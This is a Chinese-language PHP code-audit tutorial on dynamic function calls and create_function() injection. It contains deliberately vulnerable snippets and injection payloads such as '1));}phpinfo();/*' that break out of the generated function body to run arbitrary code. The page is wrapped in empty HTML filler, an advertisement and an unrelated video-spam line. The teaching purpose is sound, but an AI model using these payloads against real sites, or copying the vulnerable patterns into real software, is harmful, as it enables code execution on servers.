<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                合規國際互聯網加速 OSASE為企業客戶提供高速穩定SD-WAN國際加速解決方案。 廣告
                一:動態函數執行: 函數與函數之間的調用,可能會造成的漏洞。 ``` function a(){ echo "a"; } function b(){ echo "b"; } function c($param){ echo "c"; $param(); } c($_GET('c')); http://localhost?c=a //容易執行敏感的系統函數 http://localhost?c=phpinfo ``` 二:匿名函數執行: 匿名函數(Anonymous functions),也叫閉包函數(closures),允許 臨時創建一個沒有指定 名稱的函數。最經常用作回調函數(callback)參數的值。 create_function 創建匿名函數(PHP 7.2.0被廢棄) create\_function()函數會在內部執行 eval() 在代碼審計中,主要用來查找項目中的代碼注入和回調后門的情況 例子 ~~~ error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?> ~~~ ~~~ http://localhost/test/1.php?sort_by='"]);}phpinfo();/* ~~~ 還原實際的組合過程: ~~~ $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* ~~~ 匿名函數實際的執行: ~~~ function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* } ~~~ 回車換行整理一下: ~~~ function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();/* } ~~~ ### 案例 2 `2.php` ~~~ <?php $c=$_GET['c']; $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget'); usort($array,$lambda); print_r($array); ?> ~~~ `payload`的構造: ~~~ http://localhost/test/2.php?c=1));}phpinfo();/* ~~~ 還原實際的組合過程: ~~~ $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));"); ~~~ 匿名函數實際的執行: ~~~ function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); } ~~~ 回車換行整理一下: ~~~ function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1)); } phpinfo(); /*)); } ~~~ ``` $id=$_GET['id']; //$c(); $lambda=create_function('$a,$b','return ( strlen($a) - strlen($b)+'."strlen($id) );"); var_dump($lambda); $arr=array('reall long string here,body','this','midding length','larget'); usort($arr,$lambda); print_r($arr); //http://www.test.com/audit/test.php?id=1 //相當于 function lambda($a,$b){ return ( strlen($a) - strlen($b)+strlen(1) ); } //http://www.test.com/audit/test.php?id=1));}phpinfo();/* //相當于 function lambda($a,$b){ return ( strlen($a) - strlen($b)+strlen(1));}phpinfo();/* ) } ``` ![](https://img.kancloud.cn/91/79/9179123d33d6aa0abfc33190c98a223b_1014x477.png) 上面的換成單行注釋就不會報錯 ``` http://www.test.com/audit/test.php?id=1));}phpinfo();// 可知:最后結果是 function lambda($a,$b){ return ( strlen($a) - strlen($b)+strlen(1));}phpinfo();// )} ``` 總結:create_function和eval最好別用,至少用戶不能決定輸出的內容
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看